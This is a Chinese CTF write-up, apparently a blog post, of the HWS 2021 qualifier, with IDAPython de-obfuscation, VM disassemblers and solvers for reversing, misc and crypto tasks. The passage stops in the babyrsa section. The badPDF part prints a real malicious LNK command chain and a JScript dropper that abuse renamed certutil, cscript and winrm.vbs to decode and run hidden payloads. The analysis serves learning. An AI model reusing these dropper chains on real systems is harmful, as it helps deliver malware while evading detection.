【wp】HWS计划2021硬件安全冬令营线上选拔赛
昨天打完的选拔赛,超级无敌难得过来及时更新(被好多师傅催来着哈哈哈,ddl第一生产力。
只能说这次比赛太幸运了,能碰到这么多逆向题,甚至还有两道流落在Misc和Crypto的apk,相对来说没什么固件题(固件好菜,RW嗑了八个多小时没嗑出来TAT),那肯定开冲√
感谢师傅们手下留情╰(*°▽°*)╯
Reverse
babyvm
vm签到题,这个题做完以后看到是一血人都傻了,看到easyvm已经三血开外了人就更傻了,明明应该baby比easy简单的吧
一些简单粗暴的花指令
花指令有点多,直接idapython走起
from idc_bc695 import *
start_addr = 0x00412CC0
end_addr = 0x00413991
l = [0x74, 0x03, 0x75, 0x01, 0xE8]
def myNop(addr, end):
while addr < end:
for i in range(len(l)):
if idc.get_wide_byte(addr + i) != l[i]:
addr += 1
break
else:
for i in range(len(l)):
PatchByte(addr, 0x90)
addr += 1
print("[+] nop ok!!")
myNop(start_addr, end_addr)
for i in range(start_addr, end_addr + 1):
MakeUnkn(i, 0x90)
去完花以后可以看到主函数直接跳到vm
而查vm的交叉引用可以发现有四个地方都用到了vm函数,说明opcode实际上分成了四段(四个起点)
逐个逆出32个case的作用,dump出opcode(opcode以qword为单位,偏移这边都是+8/+16这样),写反汇编器
(反汇编器模板在:myReverseExps/VMinterpreter.py at main · c10udlnk/myReverseExps,不过很久没改过了,每次都是做题的时候拉下来现改,有空再把新版放上去吧hhhh)
ins_set={ 0: [3, 2, "mov arr[r{0}], 0x{1:0>4X}"],
1: [3, 2, "mov r{0}, 0x{1:0>4X}"],
2: [3, 2, "mov r{0}, r{1}"],
3: [3, 2, "mov r{0}, arr[r{1}]"],
4: [3, 2, "mov arr[r{0}], r{1}"],
5: [3, 1, "push r{0}"],
6: [3, 1, "pop r{0}"],
7: [3, 2, "add r{0}, 0x{1:0>4X}"],
8: [3, 2, "add r{0}, r{1}"],
9: [3, 2, "sub r{0}, 0x{1:0>4X}"],
10: [3, 2, "sub r{0}, r{1}"],
11: [3, 2, "mul r{0}, 0x{1:0>4X}"],
12: [3, 2, "mul r{0}, r{1}"],
13: [3, 2, "shl r{0}, 0x{1:0>4X}"],
14: [3, 2, "shl r{0}, r{1}"],
15: [3, 2, "shr r{0}, 0x{1:0>4X}"],
16: [3, 2, "shr r{0}, r{1}"],
17: [3, 2, "xor r{0}, 0x{1:0>4X}"],
18: [3, 2, "xor r{0}, r{1}"],
19: [3, 2, "or r{0}, 0x{1:0>4X}"],
20: [3, 2, "or r{0}, r{1}"],
21: [3, 2, "and r{0}, 0x{1:0>4X}"],
22: [3, 2, "and r{0}, r{1}"],
23: [3, 1, "mov r{0}, getchar()"],
24: [3, 1, "putchar(r{0})"],
25: [3, 0, "exit"],
26: [3, 2, "cmp r{0}, 0x{1:0>4X}"],
27: [3, 2, "cmp r{0}, r{1}"],
28: [3, 1, "jz {0:0>3}"],
29: [3, 1, "jmp {0:0>3}"],
30: [3, 1, "jl {0:0>3}"],
31: [3, 1, "jnz {0:0>3}"]}
opcode = [18, 0, 0, 18, 1, 1, 18, 2, 2, 18, 3, 3, 18, 6, 6, 18, 7, 7, 1, 0, 105, 1, 1, 110, 1, 2, 112, 1, 3, 117, 1, 6, 116, 1, 7, 32, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 102, 1, 1, 108, 1, 2, 97, 1, 3, 103, 1, 6, 58, 1, 7, 32, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 18, 1, 1, 23, 0, 18446744073709551615, 5, 0, 18446744073709551615, 7, 1, 1, 26, 1, 38, 30, 31, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 18, 2, 2, 0, 2, 255, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 571, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 251, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 239, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 239, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 571, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 255, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 239, 7, 2, 1, 25, 18446744073709551615, 18446744073709551615, 18, 2, 2, 3, 0, 2, 9, 0, 99, 4, 2, 0, 7, 2, 1, 26, 2, 32, 30, 1, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 125, 28, 18, 18446744073709551615, 1, 0, 119, 1, 1, 114, 1, 2, 111, 1, 3, 110, 1, 6, 103, 1, 7, 33, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 10, 24, 0, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 1, 8, 256, 26, 8, 225, 30, 25, 18446744073709551615, 6, 0, 18446744073709551615, 4, 8, 0, 9, 8, 1, 29, 19, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 123, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 103, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 97, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 108, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 102, 31, 3, 18446744073709551615, 18, 9, 9, 1, 10, 225, 3, 7, 9, 3, 6, 10, 17, 6, 66, 13, 6, 2, 27, 6, 7, 31, 3, 18446744073709551615, 7, 9, 1, 7, 10, 1, 26, 9, 32, 30, 42, 18446744073709551615, 1, 0, 99, 1, 1, 111, 1, 2, 114, 1, 3, 114, 1, 6, 101, 1, 7, 99, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 116, 1, 1, 108, 1, 2, 121, 1, 3, 33, 1, 6, 10, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615]
pc = 0
res = ["Addr Code\n"]
addrfmt = "{0:0>3} "
base = 0x41E000
func_start = [0x41E000, 0x41E378, 0x41E9A8, 0x41EA68]
for i in range(len(func_start)):
func_start[i] = (func_start[i]-base) // 8
lstFunc = 0
while pc < len(opcode):
i = pc
pc += ins_set[opcode[i]][0]
res.append(addrfmt.format(i - lstFunc))
if opcode[i] not in ins_set.keys():
print("[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\n".format(opcode[i],i))
break
elif 28 <= opcode[i] <= 31:
res.append(ins_set[opcode[i]][2].format(opcode[i+1]*3)+'\n')
else:
args=[]
for j in range(ins_set[opcode[i]][1]):
args.append(opcode[i+1+j])
res.append(ins_set[opcode[i]][2].format(*args)+'\n')
if pc in func_start:
res.append('\n')
lstFunc = pc
with open('res.txt', 'w') as f:
f.writelines(res)
拿到res.txt,注释里写了一些各段汇编的作用,就不再另开段落说明了(懒
Addr Code
;初始化寄存器,打印提示信息,接收flag并保存在栈上
000 xor r0, r0
003 xor r1, r1
006 xor r2, r2
009 xor r3, r3
012 xor r6, r6
015 xor r7, r7
018 mov r0, 0x0069
021 mov r1, 0x006E
024 mov r2, 0x0070
027 mov r3, 0x0075
030 mov r6, 0x0074
033 mov r7, 0x0020
036 putchar(r0)
039 putchar(r1)
042 putchar(r2)
045 putchar(r3)
048 putchar(r6)
051 putchar(r7)
054 mov r0, 0x0066
057 mov r1, 0x006C
060 mov r2, 0x0061
063 mov r3, 0x0067
066 mov r6, 0x003A
069 mov r7, 0x0020
072 putchar(r0)
075 putchar(r1)
078 putchar(r2)
081 putchar(r3)
084 putchar(r6)
087 putchar(r7)
090 xor r1, r1
093 mov r0, getchar()
096 push r0
099 add r1, 0x0001
102 cmp r1, 0x0026
105 jl 093
108 exit
;初始化已知数组
000 xor r2, r2
003 mov arr[r2], 0x00FF
006 add r2, 0x0001
009 mov arr[r2], 0x0223
012 add r2, 0x0001
015 mov arr[r2], 0x023B
018 add r2, 0x0001
021 mov arr[r2], 0x0237
024 add r2, 0x0001
027 mov arr[r2], 0x0237
030 add r2, 0x0001
033 mov arr[r2], 0x024B
036 add r2, 0x0001
039 mov arr[r2], 0x022B
042 add r2, 0x0001
045 mov arr[r2], 0x00FB
048 add r2, 0x0001
051 mov arr[r2], 0x022B
054 add r2, 0x0001
057 mov arr[r2], 0x0223
060 add r2, 0x0001
063 mov arr[r2], 0x024F
066 add r2, 0x0001
069 mov arr[r2], 0x00EF
072 add r2, 0x0001
075 mov arr[r2], 0x0237
078 add r2, 0x0001
081 mov arr[r2], 0x00EF
084 add r2, 0x0001
087 mov arr[r2], 0x024F
090 add r2, 0x0001
093 mov arr[r2], 0x024F
096 add r2, 0x0001
099 mov arr[r2], 0x0223
102 add r2, 0x0001
105 mov arr[r2], 0x0223
108 add r2, 0x0001
111 mov arr[r2], 0x023B
114 add r2, 0x0001
117 mov arr[r2], 0x0237
120 add r2, 0x0001
123 mov arr[r2], 0x00FF
126 add r2, 0x0001
129 mov arr[r2], 0x0233
132 add r2, 0x0001
135 mov arr[r2], 0x0233
138 add r2, 0x0001
141 mov arr[r2], 0x0233
144 add r2, 0x0001
147 mov arr[r2], 0x0237
150 add r2, 0x0001
153 mov arr[r2], 0x024B
156 add r2, 0x0001
159 mov arr[r2], 0x0233
162 add r2, 0x0001
165 mov arr[r2], 0x024F
168 add r2, 0x0001
171 mov arr[r2], 0x022B
174 add r2, 0x0001
177 mov arr[r2], 0x022B
180 add r2, 0x0001
183 mov arr[r2], 0x024B
186 add r2, 0x0001
189 mov arr[r2], 0x00EF
192 add r2, 0x0001
195 exit
;对已知数组进行-63处理
000 xor r2, r2
003 mov r0, arr[r2]
006 sub r0, 0x0063
009 mov arr[r2], r0
012 add r2, 0x0001
015 cmp r2, 0x0020
018 jl 003
021 exit
;比较flag的格式是否为"flag{}",flag顺序存在已知数组后面的一段内存中,从头遍历进行xor 0x42和左移2处理
000 pop r0
003 cmp r0, 0x007D
006 jz 054
009 mov r0, 0x0077
012 mov r1, 0x0072
015 mov r2, 0x006F
018 mov r3, 0x006E
021 mov r6, 0x0067
024 mov r7, 0x0021
027 putchar(r0)
030 putchar(r1)
033 putchar(r2)
036 putchar(r3)
039 putchar(r6)
042 putchar(r7)
045 mov r0, 0x000A
048 putchar(r0)
051 exit
054 mov r8, 0x0100
057 cmp r8, 0x00E1
060 jl 075
063 pop r0
066 mov arr[r8], r0
069 sub r8, 0x0001
072 jmp 057
075 pop r0
078 cmp r0, 0x007B
081 jnz 009
084 pop r0
087 cmp r0, 0x0067
090 jnz 009
093 pop r0
096 cmp r0, 0x0061
099 jnz 009
102 pop r0
105 cmp r0, 0x006C
108 jnz 009
111 pop r0
114 cmp r0, 0x0066
117 jnz 009
120 xor r9, r9
123 mov r10, 0x00E1
126 mov r7, arr[r9]
129 mov r6, arr[r10]
132 xor r6, 0x0042
135 shl r6, 0x0002
138 cmp r6, r7
141 jnz 009
144 add r9, 0x0001
147 add r10, 0x0001
150 cmp r9, 0x0020
153 jl 126
156 mov r0, 0x0063
159 mov r1, 0x006F
162 mov r2, 0x0072
165 mov r3, 0x0072
168 mov r6, 0x0065
171 mov r7, 0x0063
174 putchar(r0)
177 putchar(r1)
180 putchar(r2)
183 putchar(r3)
186 putchar(r6)
189 putchar(r7)
192 mov r0, 0x0074
195 mov r1, 0x006C
198 mov r2, 0x0079
201 mov r3, 0x0021
204 mov r6, 0x000A
207 putchar(r0)
210 putchar(r1)
213 putchar(r2)
216 putchar(r3)
219 putchar(r6)
222 exit
然后反向写出exp:
arr = [0x00FF, 0x0223, 0x023B, 0x0237, 0x0237, 0x024B, 0x022B, 0x00FB, 0x022B, 0x0223, 0x024F, 0x00EF, 0x0237, 0x00EF, 0x024F, 0x024F, 0x0223, 0x0223, 0x023B, 0x0237, 0x00FF, 0x0233, 0x0233, 0x0233, 0x0237, 0x024B, 0x0233, 0x024F, 0x022B, 0x022B, 0x024B, 0x00EF]
for i in range(len(arr)):
arr[i] -= 0x0063
arr[i] >>= 0x2
arr[i] ^= 0x0042
arr[i] = chr(arr[i])
print(''.join(arr))
flag:e247780d029a7a992247e6667869008a
easyvm
idapython去花,好像还有一两个零散的花指令来着,不太记得了(
from idc_bc695 import *
start_addr = 0x401660
end_addr = 0x4016F8
l = [0x0F, 0x84, 0x07, 0x00, 0x00, 0x00, 0x0F, 0x85, 0x01, 0x00, 0x00, 0x00, 0xE8]
def myNop(addr, end):
while addr < end:
for i in range(len(l)):
if idc.get_wide_byte(addr + i) != l[i]:
addr += 1
break
else:
for i in range(len(l)):
PatchByte(addr, 0x90)
addr += 1
print("[+] nop ok!!")
myNop(start_addr, end_addr)
for i in range(start_addr, end_addr + 1):
MakeUnkn(i, 0x90)
主逻辑在反编译没出来的sub_4012F0
可以看到偏移和函数指针,点进offset能看到函数分发
sub_4011E0是base64魔改,魔改为在结果xor了0x0A0B0C0D
然后走偏移的第零个即sub_401000,而sub_401000里面就有switch
vm摁逆,已知数组在unk_40B050,opcode在unk_40B030
写反汇编器
ins_set={0xC0: [1, 0, "inc r1"],
0xC1: [1, 0, "inc r2"],
0xC2: [1, 0, "inc r3"],
0xC3: [1, 0, "mov r1, r2"],
0xC4: [1, 0, "mov r1, r3"],
0xC5: [1, 0, "mov r2, r1"],
0xC6: [1, 0, "mov r2, r3"],
0xC7: [1, 0, "mov r3, r1"],
0xC8: [1, 0, "mov r3, r2"],
0xC9: [5, 4, "mov r1, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
0xCA: [5, 4, "mov r2, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
0xCB: [5, 4, "mov r3, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
0xCC: [1, 0, "mov r1, input[r3]"],
0xCD: [1, 0, "mov r2, input[r3]"],
0xCE: [1, 0, "xor r1, r2"],
0xCF: [1, 0, "xor r2, r1"],
0xD0: [1, 0, "cmp r1, data[r3]"], # a==b:1 a>b:2 a2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
0xD3: [2, 1, "jz {0:0>4}"], # == 1
0xD4: [2, 1, "jnz {0:0>4}"], # == 0
0xFE: [1, 0, "; wrong"],
0xFF: [1, 0, "; right"]}
opcode = [0xCA, 0x00, 0x00, 0x00, 0x00, 0xCB, 0x00, 0x00, 0x00, 0x00, 0xCC, 0xCF, 0xC9, 0xEE, 0x00, 0x00, 0x00, 0xCF, 0xD1, 0xD3, 0x01, 0xFE, 0xC2, 0xD2, 0x39, 0x00, 0x00, 0x00, 0xD4, 0xEC, 0xFF]
pc = 0
res = ["Addr Code\n"]
addrfmt = "{0:0>4} "
while pc < len(opcode):
i = pc
pc += ins_set[opcode[i]][0]
res.append(addrfmt.format(i))
if opcode[i] not in ins_set.keys():
print("[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\n".format(opcode[i],i))
break
elif opcode[i] in [0xD3, 0xD4]:
jmpdelta = opcode[i+1] if opcode[i+1] & 0x80 == 0 else opcode[i+1] - 256
res.append(ins_set[opcode[i]][2].format(pc + jmpdelta)+'\n')
else:
args=[]
for j in range(ins_set[opcode[i]][1]):
args.append(opcode[i+1+j])
res.append(ins_set[opcode[i]][2].format(*args)+'\n')
with open('res.txt', 'w') as f:
f.writelines(res)
拿到res.txt
Addr Code
0000 mov r2, 0x00000000
0005 mov r3, 0x00000000
0010 mov r1, input[r3]
0011 xor r2, r1
0012 mov r1, 0x000000EE
0017 xor r2, r1
0018 cmp r2, data[r3]
0019 jz 0022
0021 ; wrong
0022 inc r3
0023 cmp r3, 0x00000039
0028 jnz 0010
0030 ; right
就是一个很简单的循环处理+比对,需要注意的是r2是累计值(被坑完出来的人5555,血泪经历)
连前面的base64魔改一起写exp:
import base64
data = [0xBE, 0x36, 0xAC, 0x27, 0x99, 0x4F, 0xDE, 0x44, 0xEE, 0x5F, 0xDA, 0x0B, 0xB5, 0x17, 0xB8, 0x68, 0xC2, 0x4E, 0x9C, 0x4A, 0xE1, 0x43, 0xF0, 0x22, 0x8A, 0x3B, 0x88, 0x5B, 0xE5, 0x54, 0xFF, 0x68, 0xD5, 0x67, 0xD4, 0x06, 0xAD, 0x0B, 0xD8, 0x50, 0xF9, 0x58, 0xE0, 0x6F, 0xC5, 0x4A, 0xFD, 0x2F, 0x84, 0x36, 0x85, 0x52, 0xFB, 0x73, 0xD7, 0x0D, 0xE3]
data = [0] + data
tmp = []
for i in range(1, len(data)):
tmp.append(data[i-1] ^ 0xEE ^ data[i])
flag = ""
arr = [0xA, 0xB, 0xC, 0xD]
pos = 0
for x in tmp:
flag += chr(tmp[pos] ^ arr[pos%4])
pos += 1
print(flag)
print(base64.b64decode(flag.encode()))
flag:2586dc76-98d5-44e2-ad58-d06e6559d82a
babyre
这题ollvm太阴间了啊啊啊!!!
惯例去完花以后,可以看到在主函数由很明显的几个函数段
一个xor运算
一个n复杂运算
又一个xor运算
还有不知道在哪但绝对是最后一步的base64换表(在最后有比较,比较以后直接接success)
实在看不动了直接动态调试+找规律
用的几组测试数据↓
关于xor的识别,这实际上是一种常用的混淆手法(在之前某一道题里磨砺出来的),顺便总结一下 (加上在这道题里学会的|),一般来说找几组数据验证一下就能猜出来的:
- (~x|y)-(x|~y) == x - y
- (~x&y)-(x&~y) == x - y
- (~x&y)+(x&~y) == x ^ y
- (~x&y)|(x&~y) == x ^ y
- x|y+x|y-x-y == x ^ y
- ~(~y|~x)|(y^x) == x | y
在这里下断点可以调出第一部分的xor
看汇编可以知道xor的数据在var_18,8次循环,每次循环会改变4个字节,也就是说4字节为一组
往上翻到算出var_18的地方,发现是由每组同一位置共八字节的相互xor得到的,看附近的汇编代码即可
于是有第一个逻辑:
arr = [0 for _ in range(4)]
for i in range(len(s)):
arr[i%4] ^= s[i]
for i in range(len(s)):
s[i] ^= arr[i%4]
第二个逻辑在下一个xor下断点
通过动态调试可以看到是从3开始每次1字节1字节改变,同样3个一组,且如果输入为全相同(比如aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
)的时候更明显,这种输入不会受到第一个xor的影响(偶数个相同的异或起来为0)
xor的数据在var_31 var_32 var_33,同样可以看汇编往上追溯
反编译可以看到就是那个巨复杂的运算,由真值表化简可以得到第二段逻辑
for i in range(3, len(s), 3):
tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff]
for j in range(i, len(s)):
s[j] ^= tmp[j%3]
最后逆向写exp:
import base64
s = "Fi9X/fxX6Q6JBfUfBM1V/y6V6PcPjMaQLl9IuttFuH68"
# s = "aJW31v1YF9nucbsFYGp2/XtrIO8tUi7oBX1CYmVVuGZ0"
# s = "BGpvCSXOIOUgBOp0Uofm1PZh1Msa4YVaS81UmWHchtr"
# s = "1Of0LdCt6iVW/M6x1dc0LOPz6lYp/t9e1Of0LdCt6iQ1"
myTable = "QVEJAfHmUYjBac+u8Ph5n9Od16FrICL/X0GvtM4qk7T2z3wNSsyoebilxWKgZpRD"
b64table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
s = list(base64.b64decode(s.translate(str.maketrans(myTable,b64table)).encode()))
# print(bytes(s))
# s = list("qwertyuiopasdfghjklzxcvbnm123456")
# s = "abcdefghijklmnopqrstuvwxyz012345"
# s = list("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
# arr = [0 for _ in range(4)]
# for i in range(len(s)):
# arr[i%4] ^= s[i]
# for i in range(len(s)):
# s[i] ^= arr[i%4]
# for i in range(3, len(s), 3):
# tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff]
# for j in range(i, len(s)):
# s[j] ^= tmp[j%3]
# print(bytes(s))
s2 = s.copy()
for i in range(3, len(s), 3):
tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff]
for j in range(i, len(s)):
s2[j] ^= tmp[j%3]
s2 = s2[:-1] # 最后多了一位填充
# print(bytes(s2))
arr = [0 for _ in range(4)]
for i in range(len(s2)):
arr[i%4] ^= s2[i]
for i in range(len(s2)):
s2[i] ^= arr[i%4]
print(bytes(s2))
flag:fce5e3dfc6db4f808ccaa6fcffecf583
Misc
badPDF
拿到文件就直接打开了orz,发现找不到js,意识到有payload嵌入。查看target
这里显示不全,直接用十六进制阅读器打开可以看到target的一些关键字,定位到这里,把可见字符提取出来
Windows\System32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp&%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp&expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% &wscript %tmp%\\9sOXN6Ltf0afe7.js
在阅读代码的过程中搜索关键字(*ertu*.exe)找到了原病毒:https://www.freebuf.com/articles/network/241414.html
有一个很有趣的地方就是,这里明明就是复制一次(把certutil.exe复制过去),为什么要用到for呢。就是通过(*ertu*.exe)这个正则匹配绕过安全检测,毕竟那个文件夹里肯定就只有一个exe是符合的,不会有误操作,而且可以避免杀软啥的对certutil.exe操作的检查(猜的)。
我在CTF题学cmd命令,捂脸
第一层是一样的,所以直接跟着他代码做,直到拿到9sOXN6Ltf0afe7.js
var e7926b8de13327f8e703624e = new ActiveXObject("WScript.Shell");
e7926b8de13327f8e703624e.Run ("cmd /c mkdir %tmp%\\cscript.exe&for /r C:\\Windows\\System32\\ %m in (cscr*.exe) do copy %m %tmp%\\cscript.exe\\msproof.exe /y&move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl&%tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty&del \"%tmp%\\cscript.exe\\WsmPty.xsl\" /f /q&\"%tmp%\\20200308-sitrep-48-covid-19.pdf\"",0);
可以看到又是一层系统调用,不过这层就没什么东西了,就是让他能成功调用最后删除中间文件的过程。
做到move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl
可以知道,上一步解压出来的cSi1r0uywDNvDu.tmp
实际上也是一个代码,打开可以看到
<?xml version='1.0'?>
嵌入了一段VBscript的代码,速成VBscript可以发现这实际上就是个unhex+xor 1的过程
VBscript的关键点在:
- "aaa" & "bbb" == "aaabbb",这里&是连接符的意思,相当于python里字符串之间的+
- "&h41"实际上就是python里的"\x41",所以这里chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2))是取两位然后unhex(内置函数的作用自行搜索)
- VB里面异或就写成xor是我没想到的(逃
所以写exp有:
s = bytes.fromhex("676d60667a64333665326564333665326564333665326536653265643336656564333665327c")
flag = ""
for x in s:
flag += chr(x ^ 1)
print(flag)
flag:e27d3de27d3de27d3d7d3de27dde27d3
gogogo
本来以为raw是拼图的线索,一番内存取证发现并没有什么线索。
后来想到如果是python程序切出来的,那肯定出来的时间是有先后的吧(我就不信有人ps手切),所以直接日期排序走起。
电脑屏幕太小了显示不了16张一行,稍微微调了一下(每行删掉第一张
可以看到password是3e8f092d4d7b80ce338d6e238efb01。
能用到password的地方一般都是压缩包,于是去filescan一下把文件列表导出来,grep看有没有奇怪的压缩包。
发现有一个csgo.zip.zip(fps玩家狂喜),感觉是奇怪的包,dump下来。
volatility -f 2.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000002182dc0 -D ./ -u
用password解密发现可行,解出来一张打不开的csgo.png
图片,png解包经典foremost
foremost csgo.png
解出来两张图
第一张图不太像二维码(四周补上的话data区缺太多),按着这个思路搜索其他的二维码发现一种特征在中间的Aztec code。
(赛后听凌邪师傅说枪的“阿兹特克”就是指这个Aztec,人傻了.jpg)
于是按照格式用photoshop拼了一下(做工极度粗糙,管他的能扫就行)
找到了(好像是唯一的)在线解码器:https://products.aspose.app/barcode/zh-hans/recognize/aztec#
发现解码成功!
flag:fbab8380-a642-48aa-89b1-8e251f826b12
TimeTravel
看MainActivity没看出什么,发现有调库就先去看库了。
实在没找到能入手的地方,于是去翻字符串,居然看到了
眉头一皱,发现并不简单.jpg
然后直接去找这个字符串的交叉引用,果然看到了一个check函数
ooo000粗略的看起来是一个base64,sub_4AE8有一点混淆,通过调用的分析和一些典型操作(比如初始化s盒、xor,那几个图里已命名的函数)能大概看出来是个魔改rc4,从xor操作看出除了正常的rc4异或以外还异或了当前的序号。比较的v17是已知数组off_17180。
在genKey里,密钥通过一个倒着的表和一些计算得出
所以可以根据他的方法将密钥算出来,同时在rc4的结果上遍历xor序号就能拿到第一部分的结果
ooo000的魔改在取数的时候取的是x^(x>>3)而不是x
因为这个改动比较大,选择手写base64解码
invshift是以前比赛中用过的对x^(x>>3)算法的逆向函数(一招鲜吃遍天了属于是
算出来以后发现只拿到了后半部分,flag应该是一个uuid,前面少了八个字节
于是跑回去翻java层,发现这个包其实是有个main2activity的(下次搜索一定少搜一点555,绝了
这里一看就是主函数了
比对前五字节是"flag{"和末尾字节的"}",把中间的部分提取出来,检查[0:3]是"e25",剩下五位爆破md5
一个比较坑的地方在hexdigits是改了表的!!!!!!出题人其心可诛!!!!!!(划掉
爆了好久爆不出来才发现,太绝了,手动把哈希值的4和5、E和F进行替换来爆破才爆出来
整道题的exp:
from hashlib import md5
from arc4 import ARC4
import base64
def bf(s):
s = s.lower()
charset = "0123456789abcdef"
for a in charset:
for b in charset:
for c in charset:
for d in charset:
for e in charset:
tmps = a + b + c + d + e
if md5(tmps.encode()).hexdigest() == s:
return tmps
res = bf("1F862D87DB3293B81C7D2935477A22EA") #手动将4和5,E和F进行替换
dst = [0x000000A8, 0x000000CE, 0x000000CE, 0x000000D7, 0x000000B1, 0x0000005A, 0x00000020, 0x0000004B, 0x000000AB, 0x000000A2, 0x00000023, 0x000000FA, 0x000000FC, 0x000000F0, 0x000000DF, 0x000000A5, 0x000000B4, 0x00000077, 0x000000E6, 0x00000041, 0x000000C4, 0x00000065, 0x00000084, 0x00000091, 0x0000008B, 0x0000000A, 0x000000E6, 0x000000AE, 0x000000BB, 0x000000B5, 0x00000037, 0x000000FD, 0x000000C0, 0x000000CB, 0x00000072, 0x00000078, 0x00000013, 0x00000091, 0x000000D3, 0x0000005E]
keytable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[::-1]
key = []
v1 = -2078209981
for i in range(256):
v13 = ((v1 * i) >> 32) + i
v14 = (v13 >> 5) + (v13 >> 31)
if i - 62*v14 < 0:
print(i, i - 62*v14)
key.append(keytable[i - 62 * v14])
key = ''.join(key).encode()
dst = bytes(dst)
rc4 = ARC4(key)
RC4ans = rc4.encrypt(dst)
src = []
for i in range(len(RC4ans)):
src.append(RC4ans[i] ^ i)
src = bytes(src).decode()
table = "ZO6Kq79L&CPWvNopzQfghDRSG@di*kAB8rsFewxlm+/u5a^2YtTJUVEn0$HI34y#"
tmp = []
for x in src:
if x == '=':
break
tmp.append(table.index(x))
def invshift(m, k, c):
revm = 0
if k < 0:
k = -k
cnt = 0
while cnt < 64:
hk = (revm << (64 - k)) & 0xffffffffffffffff
tmp = (hk & c) ^ m
revm = (revm << k) + (tmp >> (64 - k))
m = (m << k) & 0xffffffffffffffff
c = (c << k) & 0xffffffffffffffff
cnt += k
return revm >> (cnt - 64)
else:
cnt = 0
while cnt < 64:
lk = revm >> cnt
tmp = ((lk & c) ^ m) & ((1 << k) - 1)
revm = (tmp << (cnt + k)) + revm
m = m >> k
c = c >> k
cnt += k
return (revm >> k) & 0xffffffffffffffff
ans = ""
for x in tmp:
ans += bin(invshift(x, -3, 0x3f))[2:].rjust(6, '0')
flag = ""
for i in range(0, len(ans), 8):
flag += chr(int(ans[i:i+8], 2))
flag = 'e25' + res + flag
print(flag)
flag:e25be952-e74b-4649-bc0d-236342079a59
Crypto
babyrsa
看题目就是一个rsa加密,给了e、N、c求m。
如果N能分解的话就是一个RSA模板题了,用http://www.factordb.com/试试发现还真可以。
分解拿到p和q,用sage手撸一个解密算法:
